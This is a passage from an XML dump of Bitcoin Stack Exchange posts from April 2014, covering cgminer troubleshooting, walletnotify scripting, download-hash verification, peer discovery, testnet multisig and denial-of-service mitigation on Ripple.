  <row Id="24479" PostTypeId="2" ParentId="24454" CreationDate="2014-04-10T20:27:35.993" Score="1" Body="&lt;p&gt;The pool will typically appear as one node, though there's nothing stopping a business entity identifying as a pool to operate several nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, the miners in the pool will certainly not appear as nodes.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-04-10T20:27:35.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24480" PostTypeId="1" CreationDate="2014-04-10T20:36:09.370" Score="1" ViewCount="2465" Body="&lt;p&gt;I have been running raspberry PI with 4 Erupter modules connected to Pi Hub for 5 days with no problems. Yesterday I checked the modules and the idle lights were on and there was no mining. I restarted my raspberry, and now I am getting this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [2014-04-10 20:23:13] Icarus Detect: Test failed at /dev/ttyUSB0: get 00000000,&#xA; should: 000187a2&#xA; [2014-04-10 20:23:13] Icarus Detect: Test failed at /dev/ttyUSB1: get 00000000,&#xA; should: 000187a2&#xA; [2014-04-10 20:23:14] Icarus Detect: Test failed at /dev/ttyUSB3: get 00000000,&#xA; should: 000187a2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am running the following command: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo ./cgminer-3.1.1/cgminer --config /home/pi/cgminer.conf -S /dev/ttyUSB0 -S /dev/ttyUSB1 -S /dev/ttyUSB2 -S /dev/ttyUSB3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I connect and run the modules one by one there are no issues. When there are 3-4 I get errors. Those errors change each time I run it, so sometimes its 1 failing other times 2 etc. Also, I am getting this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2014-04-10 20:33:04] Most likely you have input the wrong URL, forgotten to ad&#xA;d a port, or have not set up workers&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, there have not been any changes to the configuration (that I am aware of). Any suggestions as to what might be causing this/ how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer.conf &#xA;&#xA;&quot;pools&quot; : [&#xA;        {&#xA;                &quot;url&quot; : &quot;http://api.bitcoin.cz:8332&quot;,&#xA;                &quot;user&quot; : &quot;worker&quot;,&#xA;                &quot;pass&quot; : &quot;pass&quot;&#xA;        }&#xA;]&#xA;,&#xA;    &quot;api-listen&quot; : true,&#xA;    &quot;api-port&quot; : &quot;4028&quot;,&#xA;    &quot;expiry&quot; : &quot;120&quot;,&#xA;    &quot;failover-only&quot; : true,&#xA;    &quot;log&quot; : &quot;5&quot;,&#xA;    &quot;no-pool-disable&quot; : true,&#xA;    &quot;queue&quot; : &quot;2&quot;,&#xA;    &quot;scan-time&quot; : &quot;60&quot;,&#xA;    &quot;worktime&quot; : true,&#xA;    &quot;shares&quot; : &quot;0&quot;,&#xA;    &quot;kernel-path&quot; : &quot;/usr/local/bin&quot;,&#xA;    &quot;api-allow&quot; : &quot;0/0&quot;,&#xA;    &quot;icarus-options&quot; : &quot;115200:1:1&quot;,&#xA;    &quot;icarus-timing&quot; : &quot;3.0=100&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Erupters run from powered hub, and rpi is also running from wall charger.&lt;/p&gt;&#xA;" OwnerUserId="5774" LastEditorUserId="5406" LastEditDate="2016-04-24T08:54:18.887" LastActivityDate="2016-04-24T08:55:02.203" Title="Icarus Detect Failed" Tags="|miner-configuration|mining-setup|raspberry-pi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24481" PostTypeId="2" ParentId="24478" CreationDate="2014-04-10T21:57:50.360" Score="3" Body="&lt;p&gt;Yes, it's called a &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot; rel=&quot;nofollow&quot;&gt;Distributed Contract&lt;/a&gt; or a &lt;a href=&quot;https://en.wikipedia.org/wiki/Smart_contract&quot; rel=&quot;nofollow&quot;&gt;Smart Contract&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Projects like &lt;a href=&quot;https://www.ethereum.org/&quot; rel=&quot;nofollow&quot;&gt;Ethereum&lt;/a&gt; are aiming to make this much more of a reality. Currently they're a bit of a pain to write. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2014-04-10T21:57:50.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24482" PostTypeId="1" AcceptedAnswerId="24568" CreationDate="2014-04-10T22:07:55.617" Score="9" ViewCount="168" Body="&lt;p&gt;Bitcoin recently released V 0.9.1 patching vulnerabilities from the Heartbleed bug, however I have not seen anything from any alt coin. What are the possible security risks associated with using these coins? And what are the risks to the coins themselves?&lt;/p&gt;&#xA;" OwnerUserId="12835" LastEditorUserId="4975" LastEditDate="2014-04-17T17:24:40.647" LastActivityDate="2014-04-17T17:24:40.647" Title="Heartbleed bug and Altcoins" Tags="|security|altcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24483" PostTypeId="2" ParentId="24457" CreationDate="2014-04-10T22:11:56.917" Score="33" Body="&lt;p&gt;First you must configure your &lt;code&gt;bitcoin.conf&lt;/code&gt; file for JSON-RPC&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip=127.0.0.1&#xA;rpcuser=yourusername&#xA;rpcpassword=reallystrongpasswordthatsnothis&#xA;rpcport=7788&#xA;walletnotify=/home/scripts/transaction.sh %s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;transaction.sh&lt;/code&gt; is some &lt;a href=&quot;https://en.wikipedia.org/wiki/Bash_(Unix_shell)&quot;&gt;bash&lt;/a&gt; program. One approach is to have it make an &lt;code&gt;http&lt;/code&gt; request to some process to notify you of the deposit. An example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sh&#xA;curl -d &quot;txid=$1&quot; http://127.0.0.1/some/route&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;walletnotify&lt;/code&gt; will execute &lt;code&gt;transaction.sh&lt;/code&gt; every time you either&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;receive bitcoin&lt;/li&gt;&#xA;&lt;li&gt;send bitcoin&lt;/li&gt;&#xA;&lt;li&gt;when a bitcoin gets its first confirmation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;%s&lt;/code&gt; is the transaction ID or &lt;code&gt;txid&lt;/code&gt; which gets passed to &lt;code&gt;transaction.sh&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2014-12-21T00:49:59.480" LastActivityDate="2014-12-21T00:49:59.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24484" PostTypeId="1" CreationDate="2014-04-10T22:15:06.490" Score="2" ViewCount="248" Body="&lt;p&gt;warren, a LiteCoin dev, &lt;a href=&quot;https://litecointalk.org/index.php/topic,7142.msg54677.html#msg54677&quot; rel=&quot;nofollow noreferrer&quot;&gt;said of Peercoin&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Good Luck Removing PPC's Centralized Checkpoints&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Regarding PPC... these amount to empty obfuscating defensive excuses.  Sure he wants to remove the broadcast checkpoints.  Novacoin's Balthasar made similar promises because he too knows that it is indefensible.  Unfortunately for PPC, in the age of ASIC's it will be impossible to keep a sha256d network stable without it, so I would be highly surprised if it is actually removed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Why are broadcast checkpoints so indefensible? It would seem to make sense to have a protocol-level mechanism whereby the nodes agree not to go back past a certain number of blocks (say 10 or 20 blocks). What about the mechanism is flawed? It sounds like it's able to keep a network stable without requiring as much hashing power.&lt;/p&gt;&#xA;" OwnerUserId="13990" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-01-07T05:20:14.503" Title="Why are broadcast checkpoints considered bad?" Tags="|development|weaknesses|peercoin|checkpoints|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24486" PostTypeId="2" ParentId="22752" CreationDate="2014-04-11T00:39:23.217" Score="3" Body="&lt;p&gt;Cuckoo Cycle is quite memory intensive, with 67% of runtime spent on main memory access. See &lt;a href=&quot;https://github.com/tromp/cuckoo&quot; rel=&quot;nofollow&quot;&gt;https://github.com/tromp/cuckoo&lt;/a&gt; for an implementation and whitepaper.&lt;/p&gt;&#xA;" OwnerUserId="14258" LastEditorUserId="14258" LastEditDate="2014-05-01T01:48:14.387" LastActivityDate="2014-05-01T01:48:14.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24488" PostTypeId="1" AcceptedAnswerId="24492" CreationDate="2014-04-11T04:46:04.753" Score="4" ViewCount="159" Body="&lt;p&gt;Some &lt;a href=&quot;http://www.nxtcrypto.org/nxt-change-log/nxt-0813-change-log&quot; rel=&quot;nofollow&quot;&gt;websites&lt;/a&gt; publish sha256 to check authenticity of downloaded file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose this is to protect against man-in-the-middle attack - that my file was not altered during download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What prevents man-in-the-middle from altering web traffic and fix hash code that I see to match malicious downloaded file ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those &lt;a href=&quot;https://www.nxtcrypto.org/nxt-change-log/nxt-0813-change-log&quot; rel=&quot;nofollow&quot;&gt;sites&lt;/a&gt; often do not provide SSL, so capturing and fixing HTTP traffic is easy, all it takes is to work with my ISP or some backbone router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are even &lt;a href=&quot;http://hash.online-convert.com/sha256-generator&quot; rel=&quot;nofollow&quot;&gt;sites&lt;/a&gt; that allow to calculate sha256 by uploading file over unsafe HTTP with no SSL - ridiculous isn't it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not only I have to trust that &lt;a href=&quot;http://hash.online-convert.com/sha256-generator&quot; rel=&quot;nofollow&quot;&gt;this website&lt;/a&gt; does not work for government, I also have to trust my ISP by connecting without SSL.&lt;/p&gt;&#xA;" OwnerUserId="14400" LastActivityDate="2014-04-11T08:02:38.363" Title="What is the point of comparing sha256 of downloaded file with published on the same website code?" Tags="|verification|sha256|safety|synchronization|ssl|" AnswerCount="1" CommentCount="4" ClosedDate="2014-04-16T02:25:45.947" ContentLicense="CC BY-SA 3.0" />
  <row Id="24489" PostTypeId="1" CreationDate="2014-04-11T05:12:44.533" Score="0" ViewCount="719" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/24488/14400&quot;&gt;What is the point of comparing sha256 of downloaded file with published on the same website code?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can't developers of currencies publish &lt;a href=&quot;http://www.nxtcrypto.org/nxt-change-log/nxt-0813-change-log&quot; rel=&quot;nofollow noreferrer&quot;&gt;file version and sha256 hash&lt;/a&gt; on blockchain as &lt;a href=&quot;http://www.nxtcrypto.org/nxt-coin/nxt-alias-system&quot; rel=&quot;nofollow noreferrer&quot;&gt;alias&lt;/a&gt; or &lt;a href=&quot;http://www.nxtcrypto.org/nxt-coin/nxt-chat-messaging&quot; rel=&quot;nofollow noreferrer&quot;&gt;message&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why don't other software vendors use blockchain as reliable way to distribute verification codes ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Software vendors could send sha256 code published on their website for a small fee as a reply transaction to each interested account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is one real way to raise wide practical interest in cryptocurrencies and blockchain isn't it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about scanning all downloadable online software and putting all types of hashcodes on blockchain, making it useful not just for coin transfers ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about setting up auto-reply account as currency feature where software vendor could put hash code and get some coins for it ?&lt;/p&gt;&#xA;" OwnerUserId="14400" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-04-14T05:46:16.273" Title="Using blockchain to publish downloadable software verification codes" Tags="|blockchain|hash|trust|verification|synchronization|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24492" PostTypeId="2" ParentId="24488" CreationDate="2014-04-11T08:02:38.363" Score="3" Body="&lt;p&gt;Nothing. It is mostly only useful for checking data integrity, not detecting malicious modification (unless you know someone trustworthy that signed the hash). SSL has the same problems though, because public keys can be altered too of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are multiple solutions to this problem, although none is perfect.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Trusting some central authority to decide who is trustworthy and who is not (i.e. &lt;a href=&quot;http://en.wikipedia.org/wiki/Certificate_authority&quot; rel=&quot;nofollow&quot;&gt;Certificate authority&lt;/a&gt;). This approach has been shown multiple times to be dangerous, see &lt;a href=&quot;http://en.wikipedia.org/wiki/DigiNotar&quot; rel=&quot;nofollow&quot;&gt;DigiNotar&lt;/a&gt; for example. &lt;/li&gt;&#xA;&lt;li&gt;Building a &lt;a href=&quot;http://en.wikipedia.org/wiki/Web_of_trust&quot; rel=&quot;nofollow&quot;&gt;web-of-trust&lt;/a&gt;, the method PGP (and later GPG) implemented.&lt;/li&gt;&#xA;&lt;li&gt;Circumventing the normal network with private lines and routing (the military approach), or wait for &lt;a href=&quot;http://en.wikipedia.org/wiki/Quantum_cryptography&quot; rel=&quot;nofollow&quot;&gt;quantum encryption&lt;/a&gt; to become available.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-04-11T08:02:38.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24494" PostTypeId="1" AcceptedAnswerId="24505" CreationDate="2014-04-11T09:37:14.287" Score="4" ViewCount="929" Body="&lt;p&gt;I read that Bitcoin is a fully decentralized network, but I don't understand how Bitcoin's client can connect to the network. I think that client must use some server for this action like other P2P networks: BitTorrent or P2P warez networks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, it's not a fully decentralized network. Did I get that right? How does a client connect to the network?&lt;/p&gt;&#xA;" OwnerUserId="15182" LastEditorUserId="5406" LastEditDate="2014-12-10T16:05:47.330" LastActivityDate="2014-12-10T16:05:47.330" Title="Is Bitcoin a fully decentralized network, or how do clients connect to the network?" Tags="|client|network|connection|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24498" PostTypeId="1" AcceptedAnswerId="24506" CreationDate="2014-04-11T14:39:19.197" Score="1" ViewCount="2794" Body="&lt;p&gt;I'm setting up a p2pool server to mine Scrypt-based coins on.  Mostly just for myself, but occasionally some friends will jump in.  I'll mostly be mining newer coins with very low difficulties.  I'm wondering whether I'd get better results by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Locating the server at home with my mining rigs, which would give extremely low latency from the rigs to the p2pool node, but higher latency from the server to the internet through my crappy home DSL connection.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Locating the server in a datacenter, which would give higher latency from my mining rigs to the p2pool, but lower latency from the p2pool server to the internet.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I guess the question boils down to &quot;For maximum mining performance, is it better to minimize latency from the mining rigs to the p2pool server, or from the p2pool server to the Internet?&quot;&lt;/p&gt;&#xA;" OwnerUserId="15184" LastEditorUserId="5406" LastEditDate="2016-04-24T09:22:15.010" LastActivityDate="2016-04-24T09:22:15.010" Title="For maximum mining performance, is it better to minimize latency from the mining rigs to the p2pool server, or from the p2pool server to the Internet?" Tags="|mining-pools|network|miner-configuration|p2pool|scrypt|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24500" PostTypeId="1" AcceptedAnswerId="25045" CreationDate="2014-04-11T15:08:09.400" Score="2" ViewCount="447" Body="&lt;p&gt;I've sent a tx to a newly created multisig address on testnet, but I don't understand why I didn't get the funds yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've done so far was to create 3 separate wallets, and get the 3 pubkeys to create the multisig address from python bitcoinrpc, and just in case I've used the command line too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; multi_list = ['0355f3c263aeb7859e53d3549d3c9bc99cd581154d16e259fe390e029d6bda5b78',&#xA;...     '030a53f844570b8c26794276e205cdeab87ab0d7802d2abb5116a5472e3adc7dc1',&#xA;...     '0210b58f846754a9d0d70e226688e0693a241fd58e315d738399e40e68308b88f9']&#xA;&amp;gt;&amp;gt;&amp;gt; btc.createmultisig(2, multi_list) &#xA;{u'redeemScript': u'52210355f3c263aeb7859e53d3549d3c9bc99cd581154d16e259fe390e029d6bda5b7821030a53f844570b8c26794276e205cdeab87ab0d7802d2abb5116a5472e3adc7dc1210210b58f846754a9d0d70e226688e0693a241fd58e315d738399e40e68308b88f953ae', u'address': u'2N8DirDvhxVEm61b3JMc75Hsdqe8aWg9Vvu'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, I've sent from another account some coins&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; btc.sendfrom('myaccount', '2N8DirDvhxVEm61b3JMc75Hsdqe8aWg9Vvu', 0.15)&#xA;u'fa9982d579877ba31ed9c530ae99df1f67c1632ae8f3c7e4db8af1fbc442dfe8'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But on &lt;a href=&quot;http://blockexplorer.com/testnet/tx/fa9982d579877ba31ed9c530ae99df1f67c1632ae8f3c7e4db8af1fbc442dfe8&quot; rel=&quot;nofollow&quot;&gt;blockexplorer&lt;/a&gt; the vout address is marked as &quot;unknown&quot;, and on &lt;a href=&quot;http://testnet.btclook.com/txn/fa9982d579877ba31ed9c530ae99df1f67c1632ae8f3c7e4db8af1fbc442dfe8&quot; rel=&quot;nofollow&quot;&gt;btclook&lt;/a&gt; also the output was marked as &quot;???&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The raw tx says, in the ScriptPub of the vout marks the &quot;type': 'scripthash'&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What have I done wrong?&#xA;Are multisig addresses working on testnet? (I assume yes)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionaly, I'm using bitcoin core v0.9.1 which was recently released.&lt;/p&gt;&#xA;" OwnerUserId="13478" LastEditorDisplayName="user20707" LastEditDate="2016-10-09T01:35:28.353" LastActivityDate="2016-10-09T01:35:28.353" Title="Tx to a multisig address in testnet not working" Tags="|testnet|multi-signature|blockexplorer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24501" PostTypeId="2" ParentId="20276" CreationDate="2014-04-11T16:24:33.650" Score="0" Body="&lt;p&gt;There are currently 2 Bitcoin ATMs in London, you can find them listed here &lt;a href=&quot;http://coinsonar.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://coinsonar.co.uk/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15187" LastActivityDate="2014-04-11T16:24:33.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24502" PostTypeId="2" ParentId="4445" CreationDate="2014-04-11T17:33:07.213" Score="4" Body="&lt;p&gt;Blockr.io now also supports &lt;a href=&quot;http://tbtc.blockr.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin TESTNET&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BFoUE.jpg&quot; alt=&quot;Blockr.io Bitcoin TESTNET&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12004" LastActivityDate="2014-04-11T17:33:07.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24504" PostTypeId="2" ParentId="21939" CreationDate="2014-04-11T18:46:02.490" Score="3" Body="&lt;p&gt;The others didn't notice, that the maximum block size is 1 MB now, so teoretically the bitcoin blockchain can grow by 6 MB per hour which makes 144 MB per day, which makes 52.5 GB per year!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is, hovewer, highly unlikely. There are two reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;People do not use full block. This is just not needed at the time being.&lt;/li&gt;&#xA;&lt;li&gt;Some miners prefer smaller blocks (because they are slighty easier to crack). Some pools, like Ghash.io do not even produce blocks &gt; 300 kb. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9563" LastActivityDate="2014-04-11T18:46:02.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24505" PostTypeId="2" ParentId="24494" CreationDate="2014-04-11T18:57:17.643" Score="5" Body="&lt;p&gt;The various approaches the core client takes are described in some detail on &lt;a href=&quot;https://en.bitcoin.it/wiki/Satoshi_Client_Node_Discovery&quot; rel=&quot;noreferrer&quot;&gt;the Bitcoin wiki&lt;/a&gt;. Once you're connected to the network, your peers can tell you about more peers, so the big question is, how do you get the first peer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some hardcoded IP addresses and DNS names in the client that point to mostly-stable Bitcoin nodes. If all of these were suddenly taken offline, new users would only be able to join the network by finding one peer via other means, e.g. asking a person who is on the Bitcoin network their IP via a forum, email, or in-person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're wondering if a government (or other entity) could shut down the Bitcoin network by taking out a few (say, 1-10) &quot;central Bitcoin servers&quot;, the answer is no. They could, at best, be disruptive to the network. Just to take out the DNS lookup, they'd need the cooperation of (or the ability to DDOS the servers of) the &lt;a href=&quot;http://www.iana.org/domains/root/servers&quot; rel=&quot;noreferrer&quot;&gt;IANA (root DNS servers)&lt;/a&gt;, or those in charge of all four of the .org (Public Internet Registry), .me (Montenegro), .be (Belgium), and .com (Verisign) TLDs. Or the government would need to be in control of your Internet connection and prevent/redirect these requests, and block the use of Tor (and other proxy/anonymization things) to bypass these restrictions.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-04-11T19:02:28.497" LastActivityDate="2014-04-11T19:02:28.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24506" PostTypeId="2" ParentId="24498" CreationDate="2014-04-11T19:00:16.350" Score="2" Body="&lt;p&gt;Are you aware that there is no 2nd option in your post? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite that, your second 1. option is better. If connection to the miner is one of the poor quality ones, p2pool will just adjust the share diff accordingly, decreasing the theoretical penalty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if connection from your pool to the Internet is poor, it doesn't matter if you find block or not - it can be orphaned anyway, especially with altcoins with &lt;strike&gt;wrong&lt;/strike&gt; low block time.&lt;/p&gt;&#xA;" OwnerUserId="9563" LastActivityDate="2014-04-11T19:00:16.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24507" PostTypeId="1" CreationDate="2014-04-11T19:11:22.563" Score="-1" ViewCount="140" Body="&lt;p&gt;On March 2014, MtGox allegedly reported the finding of 180-200k bitcoins &quot;lying around&quot; in some wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was it really confirmed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amount of speculation and click-grabbing media reports make it skettish to believe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sources please.&lt;/p&gt;&#xA;" OwnerUserId="15190" LastActivityDate="2014-04-12T04:15:57.220" Title="Was the claim of finding 180-200k bitcoins MtGox issued confirmed?" Tags="|mtgox|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24508" PostTypeId="2" ParentId="24426" CreationDate="2014-04-11T20:03:27.120" Score="1" Body="&lt;p&gt;All decentralized systems like Ripple that expose shared resources suffer from the problem of transaction spam. Bitcoin solves the problem by allowing a fee for each transaction, and imposing a hard limit on the amount of storage each block in the blockchain may take up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Ripple this problem is handled similarly. There's a base &quot;reference fee&quot; paid in XRP (the cryptocurrency built-in to the Ripple network) that sets the cost for transactions. XRP used to pay fees is literally destroyed - no one gets the money. It is there to prevent the monopolization of resources. Servers can vote to increase or decrease the fee. When the network is under load, the fee is dynamically adjusted upwards. This raises the cost for spamming the network above the value of the spam thus thwarting the attack.&lt;/p&gt;&#xA;" OwnerUserId="3060" LastActivityDate="2014-04-11T20:03:27.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24510" PostTypeId="2" ParentId="24426" CreationDate="2014-04-11T21:25:08.993" Score="3" Body="&lt;p&gt;OK, since the comments section is starting to get unwieldy, I'll type a longer and slightly more elaborate answer, that incorporates some parts from the answer by @VinnieFalco.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://en.wikipedia.org/wiki/Denial-of-service_attack&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;, a DoS attack is defined as: &quot;&lt;em&gt;an attempt to make a machine or network resource unavailable to its intended users&lt;/em&gt;&quot; and it commonly involves &quot;&lt;em&gt;saturating the target machine with external communications requests, so much so that it cannot respond to legitimate traffic, or responds so slowly as to be rendered essentially unavailable&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We all agree that a system that is connected to the Internet and is offering a service at some port cannot just magically prevent bad people from connecting to it, nor can it choose to accept only &quot;good&quot; traffic while avoiding receiving &quot;bad&quot; traffic. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There many &quot;types&quot; of DoS attacks, but they all boil down to one thing: &lt;strong&gt;they seek to consume resources&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you know, resources come in many forms; sometimes attacks will consume bandwidth, other times they will consume RAM, disk space, IOPS, file descriptors, license slots/seats, or just about any finite resource that your service requires.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fundamentally, you have two options: either increase available resources above the level of the attack, or ride it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes you can do a little better: you can attenuate an attack that seeks to consume bandwidth by using a content-delivery network. You can go from rotating hard drives to flash-based storage, and even to RAM based storage if the attack causes I/O performance to drop. You can limit the use of commands that require resource under attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes you can do better still: you can detect that the attack traffic comes only from a subset of hosts and filtering those data streams off at an upstream provider. If I/O is a bottleneck, you can attempt to rearchitect code to reduce the amount of I/O necessary. If commands are computationally expensive, you can attempt to optimize them or even reimplement them in a more efficient manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, ultimately, all you can really do is &lt;em&gt;blunt&lt;/em&gt; the force of a DoS attack. Generally speaking, you cannot &lt;em&gt;prevent&lt;/em&gt; a DoS, and if it hits, you usually end up having to buckle down and waiting for it to pass.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So what about the Ripple servers? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as increasing the available resources, obviously that's outside the purview of the code: it can't magically provision more resources. That's the job of server operators who will typically ensure that their servers have sufficient excess capacity to provide servers even when demand for service spikes. So this isn't anything the code can do about something about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the servers &lt;em&gt;can&lt;/em&gt; do something about, however, is to attempt to detect when they are under heavy load or attack and respond to that. In a sense, both those scenarios play out the same:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The servers will penalize connections which are forcing the server to do more work per unit of time than the server considers reasonable. Typically the penalty is to inform the user that the server is too busy and to ignore the command and to disconnect him if he persists in issuing commands at an unacceptably high rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the server has no real way to distinguish with perfect accuracy whether a user is abusive or not because it doesn't have a crystal ball. All it knows is the commands that it receives from a source and the rate at which the those commands are being sent and it bases its decision on that. So while this countermeasure will affect users who are, indeed, abusive, it can also affect legitimate users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server can also track load across all its connections and can decide to make some commands (which it knows are very expensive but not strictly necessary) temporarily unavailable, as load begins to climb. In that way, the server can conserve resources to use in processing the commands which are necessary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this approach is more blunt and will affect legitimate users, as the server may refuse to execute an expensive command even from a legitimate user  who has not issued any other expensive commands nor caused undue load. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of that, there's what Vinnie Falco mentioned: the servers seek to protect themselves and the network from abuse by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Imposing (miniscule and neglible) &lt;a href=&quot;https://ripple.com/wiki/Transaction_Fee&quot; 